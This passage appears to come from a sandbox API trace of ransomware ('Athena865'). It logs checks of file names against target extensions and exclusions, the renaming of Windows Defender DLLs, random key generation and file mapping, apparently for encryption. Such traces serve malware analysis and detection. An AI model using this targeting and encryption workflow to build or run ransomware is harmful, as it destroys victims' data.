lstrlenW (lpString="flexolibrary") returned 12 [0046.409] lstrlenW (lpString="fm5") returned 3 [0046.409] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0046.409] lstrlenW (lpString="fmp") returned 3 [0046.409] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0046.409] lstrlenW (lpString="fmp12") returned 5 [0046.409] lstrcmpiW (lpString1="c.dll", lpString2="fmp12") returned -1 [0046.409] lstrlenW (lpString="fmpsl") returned 5 [0046.409] lstrcmpiW (lpString1="c.dll", lpString2="fmpsl") returned -1 [0046.410] lstrlenW (lpString="fol") returned 3 [0046.410] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0046.410] lstrlenW (lpString="fp3") returned 3 [0046.410] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0046.410] lstrlenW (lpString="fp4") returned 3 [0046.410] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0046.410] lstrlenW (lpString="fp5") returned 3 [0046.410] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0046.410] lstrlenW (lpString="fp7") returned 3 [0046.410] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0046.410] lstrlenW (lpString="fpt") returned 3 [0046.410] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0046.410] lstrlenW (lpString="frm") returned 3 [0046.410] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0046.410] lstrlenW (lpString="gdb") returned 3 [0046.410] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0046.410] lstrlenW (lpString="gdb") returned 3 [0046.410] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0046.410] lstrlenW (lpString="grdb") returned 4 [0046.410] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0046.410] lstrlenW (lpString="gwi") returned 3 [0046.410] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0046.410] lstrlenW (lpString="hdb") returned 3 [0046.410] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0046.410] lstrlenW (lpString="his") returned 3 [0046.410] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0046.410] lstrlenW (lpString="ib") returned 2 [0046.410] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0046.410] lstrlenW (lpString="idb") returned 3 [0046.410] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0046.410] lstrlenW (lpString="ihx") returned 3 [0046.410] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0046.410] lstrlenW (lpString="itdb") returned 4 [0046.410] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0046.410] lstrlenW (lpString="itw") returned 3 [0046.410] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0046.410] lstrlenW (lpString="jet") returned 3 [0046.411] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0046.411] lstrlenW (lpString="jtx") returned 3 [0046.411] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0046.411] lstrlenW (lpString="kdb") returned 3 [0046.411] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0046.411] lstrlenW (lpString="kexi") returned 4 [0046.411] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0046.411] lstrlenW (lpString="kexic") returned 5 [0046.411] lstrcmpiW (lpString1="c.dll", lpString2="kexic") returned -1 [0046.411] lstrlenW (lpString="kexis") returned 5 [0046.411] lstrcmpiW (lpString1="c.dll", lpString2="kexis") returned -1 [0046.411] lstrlenW (lpString="lgc") returned 3 [0046.411] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0046.411] lstrlenW (lpString="lwx") returned 3 [0046.411] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0046.411] lstrlenW (lpString="maf") returned 3 [0046.411] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0046.411] lstrlenW (lpString="maq") returned 3 [0046.411] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0046.411] lstrlenW (lpString="mar") returned 3 [0046.411] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0046.411] lstrlenW (lpString="marshal") returned 7 [0046.411] lstrcmpiW (lpString1="esc.dll", lpString2="marshal") returned -1 [0046.411] lstrlenW (lpString="mas") returned 3 [0046.411] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0046.411] lstrlenW (lpString="mav") returned 3 [0046.411] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0046.411] lstrlenW (lpString="maw") returned 3 [0046.411] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0046.411] lstrlenW (lpString="mdbhtml") returned 7 [0046.411] lstrcmpiW (lpString1="esc.dll", lpString2="mdbhtml") returned -1 [0046.411] lstrlenW (lpString="mdn") returned 3 [0046.411] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0046.411] lstrlenW (lpString="mdt") returned 3 [0046.411] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0046.411] lstrlenW (lpString="mfd") returned 3 [0046.412] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0046.412] lstrlenW (lpString="mpd") returned 3 [0046.412] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0046.412] lstrlenW (lpString="mrg") returned 3 [0046.412] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0046.412] lstrlenW (lpString="mud") returned 3 [0046.412] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0046.412] lstrlenW (lpString="mwb") returned 3 [0046.412] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0046.412] lstrlenW (lpString="myd") returned 3 [0046.412] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0046.412] lstrlenW (lpString="ndf") returned 3 [0046.412] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0046.412] lstrlenW (lpString="nnt") returned 3 [0046.412] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0046.412] lstrlenW (lpString="nrmlib") returned 6 [0046.412] lstrcmpiW (lpString1="sc.dll", lpString2="nrmlib") returned 1 [0046.412] lstrlenW (lpString="ns2") returned 3 [0046.412] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0046.412] lstrlenW (lpString="ns3") returned 3 [0046.412] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0046.412] lstrlenW (lpString="ns4") returned 3 [0046.412] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0046.412] lstrlenW (lpString="nsf") returned 3 [0046.412] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0046.412] lstrlenW (lpString="nv") returned 2 [0046.412] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0046.412] lstrlenW (lpString="nv2") returned 3 [0046.412] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0046.412] lstrlenW (lpString="nwdb") returned 4 [0046.412] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0046.413] lstrlenW (lpString="nyf") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0046.413] lstrlenW (lpString="odb") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0046.413] lstrlenW (lpString="odb") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0046.413] lstrlenW (lpString="oqy") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0046.413] lstrlenW (lpString="ora") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0046.413] lstrlenW (lpString="orx") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0046.413] lstrlenW (lpString="owc") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0046.413] lstrlenW (lpString="p96") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0046.413] lstrlenW (lpString="p97") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0046.413] lstrlenW (lpString="pan") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0046.413] lstrlenW (lpString="pdb") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0046.413] lstrlenW (lpString="pdm") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0046.413] lstrlenW (lpString="pnz") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0046.413] lstrlenW (lpString="qry") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0046.413] lstrlenW (lpString="qvd") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0046.413] lstrlenW (lpString="rbf") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0046.413] lstrlenW (lpString="rctd") returned 4 [0046.413] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0046.413] lstrlenW (lpString="rod") returned 3 [0046.413] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0046.413] lstrlenW (lpString="rodx") returned 4 [0046.414] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0046.414] lstrlenW (lpString="rpd") returned 3 [0046.414] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0046.414] lstrlenW (lpString="rsd") returned 3 [0046.414] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0046.414] lstrlenW (lpString="sas7bdat") returned 8 [0046.414] lstrcmpiW (lpString1="Desc.dll", lpString2="sas7bdat") returned -1 [0046.414] lstrlenW (lpString="sbf") returned 3 [0046.414] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0046.414] lstrlenW (lpString="scx") returned 3 [0046.414] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0046.414] lstrlenW (lpString="sdb") returned 3 [0046.414] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0046.414] lstrlenW (lpString="sdc") returned 3 [0046.414] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0046.414] lstrlenW (lpString="sdf") returned 3 [0046.414] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0046.414] lstrlenW (lpString="sis") returned 3 [0046.414] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0046.414] lstrlenW (lpString="spq") returned 3 [0046.414] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0046.414] lstrlenW (lpString="te") returned 2 [0046.414] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0046.414] lstrlenW (lpString="teacher") returned 7 [0046.414] lstrcmpiW (lpString1="esc.dll", lpString2="teacher") returned -1 [0046.414] lstrlenW (lpString="tmd") returned 3 [0046.414] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0046.414] lstrlenW (lpString="tps") returned 3 [0046.414] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0046.414] lstrlenW (lpString="trc") returned 3 [0046.414] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0046.414] lstrlenW (lpString="trc") returned 3 [0046.414] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0046.414] lstrlenW (lpString="trm") returned 3 [0046.414] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0046.415] lstrlenW (lpString="udb") returned 3 [0046.415] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0046.415] lstrlenW (lpString="udl") returned 3 [0046.415] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0046.415] lstrlenW (lpString="usr") returned 3 [0046.415] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0046.415] lstrlenW (lpString="v12") returned 3 [0046.415] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0046.415] lstrlenW (lpString="vis") returned 3 [0046.415] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0046.415] lstrlenW (lpString="vpd") returned 3 [0046.415] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0046.415] lstrlenW (lpString="vvv") returned 3 [0046.415] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0046.415] lstrlenW (lpString="wdb") returned 3 [0046.415] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0046.415] lstrlenW (lpString="wmdb") returned 4 [0046.415] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0046.415] lstrlenW (lpString="wrk") returned 3 [0046.415] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0046.415] lstrlenW (lpString="xdb") returned 3 [0046.415] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0046.415] lstrlenW (lpString="xld") returned 3 [0046.415] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0046.415] lstrlenW (lpString="xmlff") returned 5 [0046.415] lstrcmpiW (lpString1="c.dll", lpString2="xmlff") returned -1 [0046.415] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll.Athena865") returned 62 [0046.415] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" (normalized: "c:\\program files (x86)\\windows defender\\mpasdesc.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll.Athena865" (normalized: "c:\\program files (x86)\\windows defender\\mpasdesc.dll.athena865"), dwFlags=0x1) returned 1 [0046.416] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll.Athena865" (normalized: "c:\\program files (x86)\\windows defender\\mpasdesc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0046.416] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9216) returned 1 [0046.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0046.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0046.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0046.417] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0046.417] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0046.417] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.418] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2700, lpName=0x0) returned 0x17c [0046.419] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2700) returned 0x100000 [0046.429] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0046.430] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0046.430] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0046.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0046.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0046.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0046.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0046.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0046.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0046.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0046.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0046.430] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0046.431] CloseHandle (hObject=0x17c) returned 1 [0046.431] CloseHandle (hObject=0x154) returned 1 [0046.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0046.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0046.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0046.432] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7732a07, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe7732a07, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ab7c5c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpClient.dll", cAlternateFileName="")) returned 1 [0046.432] lstrcmpiW (lpString1="MpClient.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0046.432] lstrcmpiW (lpString1="MpClient.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.432] lstrcmpiW (lpString1="MpClient.dll", lpString2=".") returned 1 [0046.432] lstrcmpiW (lpString1="MpClient.dll", lpString2="..") returned 1 [0046.432] lstrcmpiW (lpString1="MpClient.dll", lpString2="windows") returned -1 [0046.432] lstrcmpiW (lpString1="MpClient.dll", lpString2="bootmgr") returned 1 [0046.433] lstrcmpiW (lpString1="MpClient.dll", lpString2="temp") returned -1 [0046.433] lstrcmpiW (lpString1="MpClient.dll", lpString2="pagefile.sys") returned -1 [0046.433] lstrcmpiW (lpString1="MpClient.dll", lpString2="boot") returned 1 [0046.433] lstrcmpiW (lpString1="MpClient.dll", lpString2="ids.txt") returned 1 [0046.433] lstrcmpiW (lpString1="MpClient.dll", lpString2="ntuser.dat") returned -1 [0046.433] lstrcmpiW (lpString1="MpClient.dll", lpString2="perflogs") returned -1 [0046.433] lstrcmpiW (lpString1="MpClient.dll", lpString2="MSBuild") returned -1 [0046.433] lstrlenW (lpString="MpClient.dll") returned 12 [0046.433] lstrcpyW (in: lpString1=0x241e898, lpString2="MpClient.dll" | out: lpString1="MpClient.dll") returned="MpClient.dll" [0046.433] lstrlenW (lpString="MpClient.dll") returned 12 [0046.433] lstrlenW (lpString="Athena865") returned 9 [0046.433] lstrcmpiW (lpString1="lient.dll", lpString2="Athena865") returned 1 [0046.433] lstrlenW (lpString=".dll") returned 4 [0046.433] lstrcmpiW (lpString1="MpClient.dll", lpString2=".dll") returned 1 [0046.433] lstrlenW (lpString=".lnk") returned 4 [0046.433] lstrcmpiW (lpString1="MpClient.dll", lpString2=".lnk") returned 1 [0046.433] lstrlenW (lpString=".ini") returned 4 [0046.433] lstrcmpiW (lpString1="MpClient.dll", lpString2=".ini") returned 1 [0046.433] lstrlenW (lpString=".sys") returned 4 [0046.433] lstrcmpiW (lpString1="MpClient.dll", lpString2=".sys") returned 1 [0046.433] lstrlenW (lpString="MpClient.dll") returned 12 [0046.433] lstrlenW (lpString="bak") returned 3 [0046.433] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0046.433] lstrlenW (lpString="ba_") returned 3 [0046.433] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0046.433] lstrlenW (lpString="dbb") returned 3 [0046.433] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0046.433] lstrlenW (lpString="vmdk") returned 4 [0046.433] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0046.433] lstrlenW (lpString="rar") returned 3 [0046.433] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0046.433] lstrlenW (lpString="zip") returned 3 [0046.433] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0046.433] lstrlenW (lpString="tgz") returned 3 [0046.433] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0046.433] lstrlenW (lpString="vbox") returned 4 [0046.434] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0046.434] lstrlenW (lpString="vdi") returned 3 [0046.434] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0046.434] lstrlenW (lpString="vhd") returned 3 [0046.434] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0046.434] lstrlenW (lpString="vhdx") returned 4 [0046.434] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0046.434] lstrlenW (lpString="avhd") returned 4 [0046.434] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0046.434] lstrlenW (lpString="db") returned 2 [0046.434] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0046.434] lstrlenW (lpString="db2") returned 3 [0046.434] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0046.434] lstrlenW (lpString="db3") returned 3 [0046.434] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0046.434] lstrlenW (lpString="dbf") returned 3 [0046.434] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0046.434] lstrlenW (lpString="mdf") returned 3 [0046.434] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0046.434] lstrlenW (lpString="mdb") returned 3 [0046.434] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0046.434] lstrlenW (lpString="sql") returned 3 [0046.434] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0046.434] lstrlenW (lpString="sqlite") returned 6 [0046.434] lstrcmpiW (lpString1="nt.dll", lpString2="sqlite") returned -1 [0046.434] lstrlenW (lpString="sqlite3") returned 7 [0046.434] lstrcmpiW (lpString1="ent.dll", lpString2="sqlite3") returned -1 [0046.434] lstrlenW (lpString="sqlitedb") returned 8 [0046.434] lstrcmpiW (lpString1="ient.dll", lpString2="sqlitedb") returned -1 [0046.434] lstrlenW (lpString="xml") returned 3 [0046.434] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0046.434] lstrlenW (lpString="$er") returned 3 [0046.434] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0046.434] lstrlenW (lpString="4dd") returned 3 [0046.434] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0046.434] lstrlenW (lpString="4dl") returned 3 [0046.435] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0046.435] lstrlenW (lpString="^^^") returned 3 [0046.435] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0046.435] lstrlenW (lpString="abs") returned 3 [0046.435] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0046.435] lstrlenW (lpString="abx") returned 3 [0046.435] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0046.435] lstrlenW (lpString="accdb") returned 5 [0046.435] lstrcmpiW (lpString1="t.dll", lpString2="accdb") returned 1 [0046.435] lstrlenW (lpString="accdc") returned 5 [0046.435] lstrcmpiW (lpString1="t.dll", lpString2="accdc") returned 1 [0046.435] lstrlenW (lpString="accde") returned 5 [0046.435] lstrcmpiW (lpString1="t.dll", lpString2="accde") returned 1 [0046.435] lstrlenW (lpString="accdr") returned 5 [0046.435] lstrcmpiW (lpString1="t.dll", lpString2="accdr") returned 1 [0046.435] lstrlenW (lpString="accdt") returned 5 [0046.435] lstrcmpiW (lpString1="t.dll", lpString2="accdt") returned 1 [0046.435] lstrlenW (lpString="accdw") returned 5 [0046.435] lstrcmpiW (lpString1="t.dll", lpString2="accdw") returned 1 [0046.435] lstrlenW (lpString="accft") returned 5 [0046.435] lstrcmpiW (lpString1="t.dll", lpString2="accft") returned 1 [0046.435] lstrlenW (lpString="adb") returned 3 [0046.435] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0046.435] lstrlenW (lpString="adb") returned 3 [0046.435] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0046.435] lstrlenW (lpString="ade") returned 3 [0046.435] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0046.435] lstrlenW (lpString="adf") returned 3 [0046.435] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0046.435] lstrlenW (lpString="adn") returned 3 [0046.435] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0046.435] lstrlenW (lpString="adp") returned 3 [0046.435] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0046.435] lstrlenW (lpString="alf") returned 3 [0046.435] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0046.435] lstrlenW (lpString="ask") returned 3 [0046.436] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0046.436] lstrlenW (lpString="btr") returned 3 [0046.436] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0046.436] lstrlenW (lpString="cat") returned 3 [0046.436] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0046.436] lstrlenW (lpString="cdb") returned 3 [0046.436] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0046.436] lstrlenW (lpString="ckp") returned 3 [0046.436] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0046.436] lstrlenW (lpString="cma") returned 3 [0046.436] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0046.436] lstrlenW (lpString="cpd") returned 3 [0046.436] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0046.436] lstrlenW (lpString="dacpac") returned 6 [0046.436] lstrcmpiW (lpString1="nt.dll", lpString2="dacpac") returned 1 [0046.436] lstrlenW (lpString="dad") returned 3 [0046.436] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0046.436] lstrlenW (lpString="dadiagrams") returned 10 [0046.436] lstrcmpiW (lpString1="Client.dll", lpString2="dadiagrams") returned -1 [0046.436] lstrlenW (lpString="daschema") returned 8 [0046.436] lstrcmpiW (lpString1="ient.dll", lpString2="daschema") returned 1 [0046.436] lstrlenW (lpString="db-journal") returned 10 [0046.436] lstrcmpiW (lpString1="Client.dll", lpString2="db-journal") returned -1 [0046.436] lstrlenW (lpString="db-shm") returned 6 [0046.436] lstrcmpiW (lpString1="nt.dll", lpString2="db-shm") returned 1 [0046.436] lstrlenW (lpString="db-wal") returned 6 [0046.436] lstrcmpiW (lpString1="nt.dll", lpString2="db-wal") returned 1 [0046.436] lstrlenW (lpString="dbc") returned 3 [0046.436] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0046.436] lstrlenW (lpString="dbs") returned 3 [0046.436] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0046.436] lstrlenW (lpString="dbt") returned 3 [0046.436] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0046.436] lstrlenW (lpString="dbv") returned 3 [0046.436] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0046.436] lstrlenW (lpString="dbx") returned 3 [0046.436] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0046.436] lstrlenW (lpString="dcb") returned 3 [0046.436] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0046.437] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0046.437] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Defender\\MpClient.dll.Athena865") returned 62 [0046.437] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Defender\\MpClient.dll" (normalized: "c:\\program files (x86)\\windows defender\\mpclient.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Defender\\MpClient.dll.Athena865" (normalized: "c:\\program files (x86)\\windows defender\\mpclient.dll.athena865"), dwFlags=0x1) returned 1 [0046.439] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Defender\\MpClient.dll.Athena865" (normalized: "c:\\program files (x86)\\windows defender\\mpclient.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0046.439] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=392704) returned 1 [0046.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0046.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0046.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0046.439] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, 